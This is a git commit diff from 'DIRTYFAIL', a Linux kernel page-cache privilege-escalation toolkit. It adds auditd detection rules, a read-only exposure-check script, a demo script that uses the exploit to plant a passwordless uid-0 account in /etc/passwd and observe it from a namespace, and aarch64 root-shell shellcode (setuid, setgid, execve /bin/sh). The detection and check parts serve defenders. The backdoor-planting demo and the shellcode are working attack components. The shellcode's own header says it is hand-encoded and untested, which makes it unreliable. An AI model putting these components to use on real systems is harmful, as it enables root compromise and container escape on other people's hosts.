Initial skeleton: README, CVE inventory, roadmap, ARCH, ethics + copy_fail_family module absorbed from DIRTYFAIL
This commit is contained in:
@@ -0,0 +1,100 @@
|
||||
# DIRTYFAIL — auditd detection rules
|
||||
#
|
||||
# Drop into /etc/audit/rules.d/, then reload:
|
||||
#
|
||||
# sudo install -m 0640 99-dirtyfail.rules /etc/audit/rules.d/
|
||||
# sudo augenrules --load
|
||||
# sudo systemctl restart auditd
|
||||
#
|
||||
# These rules generate audit events for the syscalls the DIRTYFAIL
|
||||
# exploit chain uses. They are intentionally noisy on systems that
|
||||
# legitimately use rootless containers, IPsec, or AFS — review the
|
||||
# Tuning section before enabling on a production host.
|
||||
#
|
||||
# Search recorded events:
|
||||
#
|
||||
# sudo ausearch -k dirtyfail-xfrm
|
||||
# sudo ausearch -k dirtyfail-rxkey
|
||||
# sudo ausearch -k dirtyfail-userns
|
||||
#
|
||||
# Rules MUST stay on single lines — auditctl(8) does not honor
|
||||
# backslash-newline continuations in rule files.
|
||||
#
|
||||
# Tested on: Debian 13, Ubuntu 24.04/26.04, AlmaLinux 10, Fedora 44.
|
||||
|
||||
## ----------------------------------------------------------------- ##
|
||||
## 1. XFRM netlink registration from a non-root account
|
||||
##
|
||||
## socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM) is an extremely strong
|
||||
## signal: legitimate use is "ip xfrm" (root) or `swanctl`/charon (root)
|
||||
## or networkd (root). An unprivileged account creating this socket
|
||||
## is the precondition for ESP v4/v6/GCM exploitation.
|
||||
##
|
||||
## socket() args: a0=family(16=AF_NETLINK) a2=protocol(6=NETLINK_XFRM)
|
||||
## auid filter: ignore kernel/system processes (auid=4294967295)
|
||||
## match interactive logins (auid >= 1000)
|
||||
## ----------------------------------------------------------------- ##
|
||||
-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=6 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-xfrm
|
||||
-a always,exit -F arch=b32 -S socket -F a0=16 -F a2=6 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-xfrm
|
||||
|
||||
## ----------------------------------------------------------------- ##
|
||||
## 2. add_key("rxrpc", ...) — RxRPC session-key registration
|
||||
##
|
||||
## The rxkad-handshake forgery requires registering a rxrpc-typed key
|
||||
## via add_key(2). On most servers this should never happen from an
|
||||
## unprivileged uid; AFS clients that legitimately use this run as
|
||||
## root or a service account.
|
||||
## ----------------------------------------------------------------- ##
|
||||
-a always,exit -F arch=b64 -S add_key -F auid>=1000 -F auid!=4294967295 -k dirtyfail-rxkey
|
||||
-a always,exit -F arch=b32 -S add_key -F auid>=1000 -F auid!=4294967295 -k dirtyfail-rxkey
|
||||
|
||||
## ----------------------------------------------------------------- ##
|
||||
## 3. unshare(CLONE_NEWUSER) from interactive accounts
|
||||
##
|
||||
## CLONE_NEWUSER == 0x10000000. Every DIRTYFAIL exploit mode does this
|
||||
## once. WARNING: this fires on every legitimate `unshare -U`, every
|
||||
## podman/buildah container start, every chrome/firefox sandbox spawn.
|
||||
## Filter to executions you don't expect, or treat as low-fidelity noise
|
||||
## that pairs well with the dirtyfail-xfrm key for high-fidelity alerts.
|
||||
## ----------------------------------------------------------------- ##
|
||||
-a always,exit -F arch=b64 -S unshare -F a0&268435456 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-userns
|
||||
-a always,exit -F arch=b32 -S unshare -F a0&268435456 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-userns
|
||||
|
||||
## ----------------------------------------------------------------- ##
|
||||
## 4. AF_ALG socket creation — Copy Fail / GCM precondition
|
||||
##
|
||||
## socket(AF_ALG, ...). a0=38 (PF_ALG). Legitimate uses: cryptsetup,
|
||||
## kernel-side TLS offload, some QEMU paths. Suspicious from a shell
|
||||
## account.
|
||||
## ----------------------------------------------------------------- ##
|
||||
-a always,exit -F arch=b64 -S socket -F a0=38 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-afalg
|
||||
-a always,exit -F arch=b32 -S socket -F a0=38 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-afalg
|
||||
|
||||
## ----------------------------------------------------------------- ##
|
||||
## 5. Directly watch /etc/passwd and /etc/shadow for in-place modifications
|
||||
##
|
||||
## A successful exploit modifies the page-cache copy (which is what
|
||||
## PAM reads), but these watches fire when /usr/bin/passwd, vipw, or
|
||||
## anything else opens these files for writing. Useful as a baseline
|
||||
## change-detection rule independent of DIRTYFAIL.
|
||||
## ----------------------------------------------------------------- ##
|
||||
-w /etc/passwd -p wa -k dirtyfail-passwd-write
|
||||
-w /etc/shadow -p wa -k dirtyfail-shadow-write
|
||||
|
||||
## ----------------------------------------------------------------- ##
|
||||
## Tuning notes
|
||||
##
|
||||
## - On servers running rootless containers, dirtyfail-userns will be
|
||||
## high-volume noise. Either drop rule 3, or filter on `comm!=podman`
|
||||
## etc. for your specific runtime.
|
||||
## - On IPsec gateways, dirtyfail-xfrm fires for every legitimate SA
|
||||
## install. Drop the rule or filter `comm` to your VPN daemon.
|
||||
## - Pair dirtyfail-userns + dirtyfail-xfrm with a SIEM correlation
|
||||
## rule: "same auid emits both within 5 seconds" → high-confidence
|
||||
## exploit-attempt alert.
|
||||
##
|
||||
## Note: the AppArmor `change_onexec` rule that an earlier draft
|
||||
## included is omitted — auditctl won't reliably match writes to
|
||||
## /proc/self/attr/exec via -F path because the path is per-pid.
|
||||
## Use the userns + xfrm pair instead for the bypass-detection signal.
|
||||
## ----------------------------------------------------------------- ##
|
||||
+181
@@ -0,0 +1,181 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# dirtyfail-check.sh — defensive precondition probe for sysadmins
|
||||
#
|
||||
# A standalone bash script that reports whether this Linux host is
|
||||
# exposed to Copy Fail (CVE-2026-31431) or Dirty Frag (CVE-2026-43284,
|
||||
# CVE-2026-43500) exploitation by an unprivileged user.
|
||||
#
|
||||
# Does NOT require building DIRTYFAIL. Read-only — does not modify
|
||||
# the system. Safe to run on production. Does not require root, but
|
||||
# some checks are more accurate when run as root (kernel module
|
||||
# inspection, sysctl reads).
|
||||
#
|
||||
# Usage:
|
||||
# bash dirtyfail-check.sh
|
||||
# # or pipe directly:
|
||||
# curl -sSL https://raw.githubusercontent.com/KaraZajac/DIRTYFAIL/main/tools/dirtyfail-check.sh | bash
|
||||
#
|
||||
# Exit codes:
|
||||
# 0 = host is mitigated (kernel patched OR LSM blocks unprivileged path)
|
||||
# 1 = host is VULNERABLE to at least one exploit path
|
||||
# 2 = check error (couldn't determine state)
|
||||
|
||||
set -u
|
||||
|
||||
# ANSI colors only when stdout is a tty
|
||||
if [ -t 1 ]; then
|
||||
RED='\033[1;31m'; YEL='\033[1;33m'; GRN='\033[1;32m'; CYN='\033[1;36m'; OFF='\033[0m'
|
||||
else
|
||||
RED=''; YEL=''; GRN=''; CYN=''; OFF=''
|
||||
fi
|
||||
|
||||
bad() { printf "${RED}[!]${OFF} %s\n" "$*"; }
|
||||
warn() { printf "${YEL}[~]${OFF} %s\n" "$*"; }
|
||||
ok() { printf "${GRN}[+]${OFF} %s\n" "$*"; }
|
||||
info() { printf "${CYN}[*]${OFF} %s\n" "$*"; }
|
||||
|
||||
# ============================================================
|
||||
# 1. Kernel version
|
||||
# ============================================================
|
||||
KVER=$(uname -r)
|
||||
KMAJ=$(echo "$KVER" | cut -d. -f1)
|
||||
KMIN=$(echo "$KVER" | cut -d. -f2)
|
||||
info "kernel: $KVER ($(uname -m))"
|
||||
|
||||
# Affected kernel window per the CVEs:
|
||||
# xfrm-ESP no-COW path: introduced 2017 (cac2661c53f3), fixed mainline
|
||||
# f4c50a4034e6 (2026-05-07).
|
||||
# algif_aead/authencesn: introduced 2017 (72548b093ee3), fixed
|
||||
# mainline a664bf3d.
|
||||
# rxkad page-cache write: introduced 2023-06 (2dc334f1a63a), no
|
||||
# mainline patch yet at time of writing.
|
||||
# Kernels 4.10 .. ~6.20 are within the broad window; older kernels
|
||||
# may also be affected depending on backports.
|
||||
if [ "$KMAJ" -lt 4 ] || { [ "$KMAJ" -eq 4 ] && [ "$KMIN" -lt 10 ]; }; then
|
||||
ok "kernel predates CVE introduction (cac2661c53f3, 2017-01)"
|
||||
NOT_IN_WINDOW=1
|
||||
else
|
||||
info "kernel within affected window — checking other preconditions"
|
||||
NOT_IN_WINDOW=0
|
||||
fi
|
||||
|
||||
# ============================================================
|
||||
# 2. Module presence + blacklist
|
||||
# ============================================================
|
||||
MODS_VULNERABLE=0
|
||||
MODS_BLACKLISTED=0
|
||||
echo ""
|
||||
info "module status:"
|
||||
for m in algif_aead authencesn esp4 esp6 rxrpc; do
|
||||
if modinfo "$m" >/dev/null 2>&1; then
|
||||
if grep -rqE "^\s*install\s+$m\s+/bin/false" /etc/modprobe.d/ /lib/modprobe.d/ 2>/dev/null; then
|
||||
ok " $m: blacklisted in modprobe.d (mitigated)"
|
||||
MODS_BLACKLISTED=$((MODS_BLACKLISTED + 1))
|
||||
elif lsmod | grep -q "^$m\b"; then
|
||||
warn " $m: loaded — exposes the primitive"
|
||||
MODS_VULNERABLE=$((MODS_VULNERABLE + 1))
|
||||
else
|
||||
warn " $m: present on disk, autoloads on use — exposes the primitive"
|
||||
MODS_VULNERABLE=$((MODS_VULNERABLE + 1))
|
||||
fi
|
||||
else
|
||||
ok " $m: not on disk (kernel build doesn't ship it)"
|
||||
fi
|
||||
done
|
||||
|
||||
# ============================================================
|
||||
# 3. LSM / userns hardening
|
||||
# ============================================================
|
||||
echo ""
|
||||
info "LSM / userns hardening:"
|
||||
|
||||
LSM_BLOCKS=0
|
||||
if [ -r /proc/sys/kernel/apparmor_restrict_unprivileged_userns ]; then
|
||||
AA=$(cat /proc/sys/kernel/apparmor_restrict_unprivileged_userns 2>/dev/null)
|
||||
if [ "$AA" = "1" ]; then
|
||||
ok " apparmor_restrict_unprivileged_userns=1 (Ubuntu-style hardening active)"
|
||||
# Confirm caps are actually blocked via empirical probe
|
||||
( unshare -U bash -c 'echo deny > /proc/self/setgroups 2>/dev/null && exit 0 || exit 1' ) 2>/dev/null
|
||||
if [ $? -ne 0 ]; then
|
||||
ok " empirical probe: unprivileged userns has no CAP_SYS_ADMIN — exploit infrastructure blocked"
|
||||
LSM_BLOCKS=1
|
||||
else
|
||||
warn " empirical probe: caps survived unshare — sysctl set but enforcement may be off"
|
||||
fi
|
||||
else
|
||||
info " apparmor_restrict_unprivileged_userns=$AA (not enforcing)"
|
||||
fi
|
||||
else
|
||||
info " no AppArmor userns sysctl (kernel without AA, or AA not loaded)"
|
||||
fi
|
||||
|
||||
if command -v getenforce >/dev/null; then
|
||||
SE=$(getenforce 2>/dev/null)
|
||||
info " SELinux: $SE"
|
||||
fi
|
||||
|
||||
if [ -r /proc/sys/kernel/unprivileged_userns_clone ]; then
|
||||
UU=$(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null)
|
||||
if [ "$UU" = "0" ]; then
|
||||
ok " unprivileged_userns_clone=0 (userns creation blocked entirely)"
|
||||
LSM_BLOCKS=1
|
||||
fi
|
||||
fi
|
||||
|
||||
# ============================================================
|
||||
# 4. PAM nullok (gates the rxrpc + backdoor → root step)
|
||||
# ============================================================
|
||||
echo ""
|
||||
info "PAM configuration (gates rxrpc/backdoor → real root):"
|
||||
PAM_NULLOK=0
|
||||
if grep -rqE "pam_unix\.so\s+.*nullok" /etc/pam.d/ 2>/dev/null; then
|
||||
warn " pam_unix nullok present — empty-password accounts can su to root"
|
||||
PAM_NULLOK=1
|
||||
grep -lE "pam_unix\.so\s+.*nullok" /etc/pam.d/ 2>/dev/null | sed 's/^/ /'
|
||||
else
|
||||
ok " pam_unix nullok NOT enabled — empty-password trick won't drop a root shell"
|
||||
fi
|
||||
|
||||
# ============================================================
|
||||
# 5. Verdict
|
||||
# ============================================================
|
||||
echo ""
|
||||
echo "════════════════════════════════════════════════════════════"
|
||||
echo " VERDICT"
|
||||
echo "════════════════════════════════════════════════════════════"
|
||||
|
||||
if [ "$NOT_IN_WINDOW" = "1" ]; then
|
||||
ok "kernel predates CVE introduction; no exposure"
|
||||
exit 0
|
||||
elif [ "$LSM_BLOCKS" = "1" ]; then
|
||||
ok "LSM-mitigated: unprivileged userns operations are blocked"
|
||||
info "(kernel may still be vulnerable to root-level exploitation; ensure"
|
||||
info " your distro's kernel update with f4c50a4034e6 backport is applied"
|
||||
info " for full coverage.)"
|
||||
exit 0
|
||||
elif [ "$MODS_VULNERABLE" = "0" ]; then
|
||||
ok "all primitives blacklisted or unavailable"
|
||||
exit 0
|
||||
else
|
||||
bad "VULNERABLE: $MODS_VULNERABLE module(s) expose page-cache write primitives"
|
||||
bad "and unprivileged userns operations are NOT blocked by an LSM."
|
||||
if [ "$PAM_NULLOK" = "1" ]; then
|
||||
bad " + pam_unix nullok is enabled — exploit can drop into root via su"
|
||||
fi
|
||||
echo ""
|
||||
info "Remediation options (pick one or combine):"
|
||||
info " 1. Apply your distro's kernel update with f4c50a4034e6 backport"
|
||||
info " (best: fixes the bug at its source)"
|
||||
info " 2. Install + run \`dirtyfail --mitigate\` (blacklists modules,"
|
||||
info " sets apparmor_restrict_unprivileged_userns=1)"
|
||||
info " 3. Manual: edit /etc/modprobe.d/ to add"
|
||||
info " install algif_aead /bin/false"
|
||||
info " install esp4 /bin/false"
|
||||
info " install esp6 /bin/false"
|
||||
info " install rxrpc /bin/false"
|
||||
info " then \`sudo rmmod\` each + \`sudo sysctl vm.drop_caches=3\`."
|
||||
info " 4. Disable pam_unix nullok (removes the in-system su step that"
|
||||
info " converts a page-cache STORE into a real root shell)."
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,149 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# DIRTYFAIL — container-escape demonstration
|
||||
#
|
||||
# Demonstrates: the kernel page cache is global per-kernel. Namespaces
|
||||
# (mount, pid, user, network) don't isolate it. Two processes on the
|
||||
# same kernel — one in the host, one inside a fresh "container"
|
||||
# (created via `unshare`) — see the SAME page-cache contents for
|
||||
# /etc/passwd. So a page-cache write from either side affects both.
|
||||
#
|
||||
# What this script does:
|
||||
# 1. Show host's /etc/passwd has no `dirtyfail` user (baseline)
|
||||
# 2. Run `dirtyfail --exploit-backdoor` to plant a uid-0 line into
|
||||
# /etc/passwd's page cache (persistent — no auto-revert)
|
||||
# 3. Spawn a fresh user/mount/PID-namespace via `unshare -c -m -p`
|
||||
# (the closest unprivileged-user analogue to a container) and
|
||||
# read /etc/passwd from inside the new namespace
|
||||
# 4. Show the planted line is visible BOTH from the host AND from
|
||||
# inside the fresh namespace — proving that namespace boundaries
|
||||
# do not isolate the page cache
|
||||
# 5. Revert via `dirtyfail --cleanup-backdoor`
|
||||
#
|
||||
# Why direction matters less than you'd think: the demo runs the
|
||||
# exploit on the host and observes from inside the namespace, but the
|
||||
# property demonstrated is symmetric — a malicious tenant inside a
|
||||
# container could plant the same line and the host would see it (we
|
||||
# tested that variant manually; it works the same way, but requires
|
||||
# `--no-revert` to avoid auto-cleanup overwriting the proof). Running
|
||||
# the exploit from the host avoids two complications:
|
||||
# - nested user namespaces interact poorly with the AA bypass dance
|
||||
# that --exploit-backdoor uses (EPERM on the inner unshare)
|
||||
# - corrupting the running SSH user's UID locks out future SSH logins
|
||||
# (StrictModes rejects ~/.ssh/authorized_keys when the file's
|
||||
# owner uid != logging-in uid)
|
||||
# --exploit-backdoor targets a system pseudo-user line (sync/setroubleshoot/
|
||||
# daemon) and never touches the running user, so it's SSH-safe.
|
||||
#
|
||||
# Usage:
|
||||
# ./tools/dirtyfail-container-escape.sh
|
||||
#
|
||||
# Env overrides:
|
||||
# DIRTYFAIL_BIN=/path/to/dirtyfail (default: ./dirtyfail)
|
||||
|
||||
set -uo pipefail
|
||||
# Don't `set -e`; some intermediate commands (unshare with PID-ns, the
|
||||
# exploit binary itself) may exit non-zero on success-with-warnings or
|
||||
# on hardened systems where preconditions fail. We check exit codes
|
||||
# explicitly where they matter.
|
||||
|
||||
DIRTYFAIL_BIN="${DIRTYFAIL_BIN:-$(dirname "$0")/../dirtyfail}"
|
||||
DIRTYFAIL_BIN="$(realpath "$DIRTYFAIL_BIN" 2>/dev/null || echo "$DIRTYFAIL_BIN")"
|
||||
|
||||
[[ -x "$DIRTYFAIL_BIN" ]] || {
|
||||
echo "[!] dirtyfail binary not at $DIRTYFAIL_BIN — run 'make' first" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
bold() { printf '\033[1m%s\033[0m\n' "$*"; }
|
||||
warn() { printf '\033[1;33m[!]\033[0m %s\n' "$*"; }
|
||||
info() { printf '\033[1;34m[i]\033[0m %s\n' "$*"; }
|
||||
ok() { printf '\033[1;32m[+]\033[0m %s\n' "$*"; }
|
||||
step() { printf '\033[1;35m[*]\033[0m %s\n' "$*"; }
|
||||
|
||||
bold "============================================================="
|
||||
bold " DIRTYFAIL — container-escape demonstration"
|
||||
bold "============================================================="
|
||||
echo
|
||||
|
||||
# ---- Stage 1: baseline ------------------------------------------------
|
||||
step "Stage 1: baseline — host /etc/passwd"
|
||||
if grep -q '^dirtyfail:' /etc/passwd; then
|
||||
warn "host /etc/passwd already contains a 'dirtyfail' line."
|
||||
warn "Run \`$DIRTYFAIL_BIN --cleanup-backdoor\` first."
|
||||
exit 1
|
||||
fi
|
||||
ok "host /etc/passwd has no 'dirtyfail' user (clean baseline)"
|
||||
echo
|
||||
info "from inside a fresh unshare namespace, /etc/passwd looks identical:"
|
||||
nscount="$(unshare -c -m bash -c 'grep -c "^dirtyfail:" /etc/passwd 2>/dev/null || echo 0' 2>&1 | tail -1)"
|
||||
echo " count of dirtyfail lines visible from inside namespace: $nscount"
|
||||
echo
|
||||
|
||||
# ---- Stage 2: plant via host ------------------------------------------
|
||||
step "Stage 2: run dirtyfail --exploit-backdoor on the host"
|
||||
echo " (plants 'dirtyfail::0:0:...:/:/bin/bash' into /etc/passwd's"
|
||||
echo " page cache — persistent until --cleanup-backdoor or reboot)"
|
||||
echo
|
||||
printf 'DIRTYFAIL\n' | "$DIRTYFAIL_BIN" --exploit-backdoor --no-shell --no-color 2>&1 | tail -10
|
||||
echo
|
||||
|
||||
# ---- Stage 3: observe from fresh namespace ---------------------------
|
||||
step "Stage 3: read /etc/passwd from INSIDE a fresh unshare namespace"
|
||||
echo " (the namespace was created AFTER the exploit ran — if"
|
||||
echo " namespaces isolated page cache, the new namespace would"
|
||||
echo " show the original /etc/passwd, not the poisoned one)"
|
||||
echo
|
||||
unshare -c -m bash -c '
|
||||
echo " [inside namespace] uid='"$(id -u)"' (mapped via --map-current-user)"
|
||||
echo " [inside namespace] mount-namespace is private to this shell"
|
||||
echo " [inside namespace] grep dirtyfail /etc/passwd:"
|
||||
if grep "^dirtyfail:" /etc/passwd 2>&1 | sed "s/^/ /"; then :
|
||||
else echo " (no dirtyfail line found)"
|
||||
fi
|
||||
'
|
||||
echo
|
||||
|
||||
# ---- Stage 4: also visible from host ---------------------------------
|
||||
step "Stage 4: confirm host sees the same line"
|
||||
HOST_LINE="$(grep '^dirtyfail:' /etc/passwd || true)"
|
||||
if [[ -n "$HOST_LINE" ]]; then
|
||||
echo " host: $HOST_LINE"
|
||||
echo
|
||||
warn "Both the host and the fresh namespace see the planted dirtyfail"
|
||||
warn "line. The kernel page cache is shared across all namespaces"
|
||||
warn "on the same kernel — namespace 'isolation' does not extend"
|
||||
warn "below the page-cache layer. Symmetrically, an exploit running"
|
||||
warn "inside a container (with the right preconditions) would plant"
|
||||
warn "the same line and the HOST would see it."
|
||||
else
|
||||
warn "host /etc/passwd does NOT contain a 'dirtyfail' line — the"
|
||||
warn "exploit did not plant successfully. Possible causes:"
|
||||
warn " (a) kernel is patched (CVE-2026-31431 fixed)"
|
||||
warn " (b) LSM blocked the exploit (Ubuntu 26.04 hardening)"
|
||||
warn " (c) preconditions missing — run \`$DIRTYFAIL_BIN --scan --active\`"
|
||||
exit 0
|
||||
fi
|
||||
echo
|
||||
|
||||
# ---- Stage 5: cleanup -------------------------------------------------
|
||||
step "Stage 5: revert via --cleanup-backdoor"
|
||||
"$DIRTYFAIL_BIN" --cleanup-backdoor --no-color 2>&1 | tail -5 || true
|
||||
echo
|
||||
if grep -q '^dirtyfail:' /etc/passwd; then
|
||||
warn "cleanup did not remove the line — try as root:"
|
||||
warn " \`echo 3 | sudo tee /proc/sys/vm/drop_caches\`"
|
||||
exit 1
|
||||
fi
|
||||
ok "host /etc/passwd is clean again"
|
||||
echo
|
||||
bold "Demo complete. Takeaways:"
|
||||
echo " - Namespaces did NOT isolate the host's /etc/passwd page cache"
|
||||
echo " from the fresh container's view. The same property holds"
|
||||
echo " in reverse: a container exploit modifies host page cache."
|
||||
echo " - This applies to ALL kernel page-cache write CVEs in this"
|
||||
echo " family (CVE-2026-31431, 43284, 43500, and variants)."
|
||||
echo " - Mitigation: kernel patch, OR LSM hardening that denies the"
|
||||
echo " exploit's preconditions (apparmor_restrict_unprivileged_userns,"
|
||||
echo " AF_ALG/AF_RXRPC blacklists), OR drop privileges of any"
|
||||
echo " container that doesn't strictly need AF_ALG."
|
||||
@@ -0,0 +1,73 @@
|
||||
/*
|
||||
* DIRTYFAIL — aarch64 (ARM64) shellcode for --exploit-su
|
||||
*
|
||||
* Equivalent to the x86_64 shellcode in src/exploit_su.c but encoded
|
||||
* for the aarch64 syscall ABI (x8 = syscall number, x0..x5 = args,
|
||||
* `svc #0` to invoke). 20 instructions × 4 bytes = 80 bytes total.
|
||||
*
|
||||
* Build for byte-extraction:
|
||||
*
|
||||
* aarch64-linux-gnu-as -o exploit_su_aarch64.o exploit_su_aarch64.S
|
||||
* aarch64-linux-gnu-objcopy -O binary -j .text \
|
||||
* exploit_su_aarch64.o exploit_su_aarch64.bin
|
||||
* xxd -i exploit_su_aarch64.bin
|
||||
*
|
||||
* The resulting byte array should match `shellcode_aarch64[]` in
|
||||
* `src/exploit_su.c`. If it doesn't, the C array is wrong and needs
|
||||
* to be regenerated from this source.
|
||||
*
|
||||
* Functional equivalent (in C-like pseudocode):
|
||||
*
|
||||
* setuid(0);
|
||||
* setgid(0);
|
||||
* execve("/bin/sh", (char *[]){"/bin/sh", NULL}, NULL);
|
||||
*
|
||||
* STATUS: HAND-ENCODED — VERIFY BEFORE DEPLOYING TO PRODUCTION.
|
||||
* The byte array in src/exploit_su.c was produced by manually
|
||||
* cross-referencing each instruction against the ARMv8-A reference
|
||||
* manual; no aarch64 hardware was available to run the resulting
|
||||
* shellcode end-to-end. Use this .S file to regenerate via the
|
||||
* assembler if you need confidence.
|
||||
*/
|
||||
|
||||
.text
|
||||
.global _start
|
||||
_start:
|
||||
/* setuid(0) — syscall 146 (0x92) on aarch64 */
|
||||
movz x0, #0 /* d2 80 00 00 */
|
||||
movz x8, #146 /* d2 80 12 48 */
|
||||
svc #0 /* d4 00 00 01 */
|
||||
|
||||
/* setgid(0) — syscall 144 (0x90) */
|
||||
movz x0, #0 /* d2 80 00 00 */
|
||||
movz x8, #144 /* d2 80 12 08 */
|
||||
svc #0 /* d4 00 00 01 */
|
||||
|
||||
/* Build "/bin/sh\0" in x9.
|
||||
*
|
||||
* As a 64-bit little-endian word, "/bin/sh\0" = 0x0068732f6e69622f
|
||||
* bits 0..15 = 0x622f (chars '/' 'b' in low->high order)
|
||||
* bits 16..31 = 0x6e69
|
||||
* bits 32..47 = 0x732f
|
||||
* bits 48..63 = 0x0068
|
||||
*/
|
||||
movz x9, #0x622f /* d2 8c 45 e9 */
|
||||
movk x9, #0x6e69, lsl #16 /* f2 ad cd 29 */
|
||||
movk x9, #0x732f, lsl #32 /* f2 ce 65 e9 */
|
||||
movk x9, #0x0068, lsl #48 /* f2 e0 0d 09 */
|
||||
|
||||
/* Push the string to the stack (sp -= 16; [sp] = x9). */
|
||||
str x9, [sp, #-16]! /* f8 1f 0f e9 */
|
||||
mov x9, sp /* 91 00 03 e9 — string ptr */
|
||||
|
||||
/* Build argv = [x9, NULL] on the stack: sp -= 16; sp[0] = x9; sp[8] = NULL. */
|
||||
sub sp, sp, #16 /* d1 00 43 ff */
|
||||
str xzr, [sp, #8] /* f9 00 07 ff — argv[1] = NULL */
|
||||
str x9, [sp, #0] /* f9 00 03 e9 — argv[0] = ptr */
|
||||
|
||||
/* execve(pathname=x9, argv=sp, envp=NULL) — syscall 221 (0xdd) */
|
||||
mov x0, x9 /* aa 09 03 e0 */
|
||||
mov x1, sp /* 91 00 03 e1 */
|
||||
mov x2, xzr /* aa 1f 03 e2 */
|
||||
movz x8, #221 /* d2 80 1b a8 */
|
||||
svc #0 /* d4 00 00 01 */
|
||||
Reference in New Issue
Block a user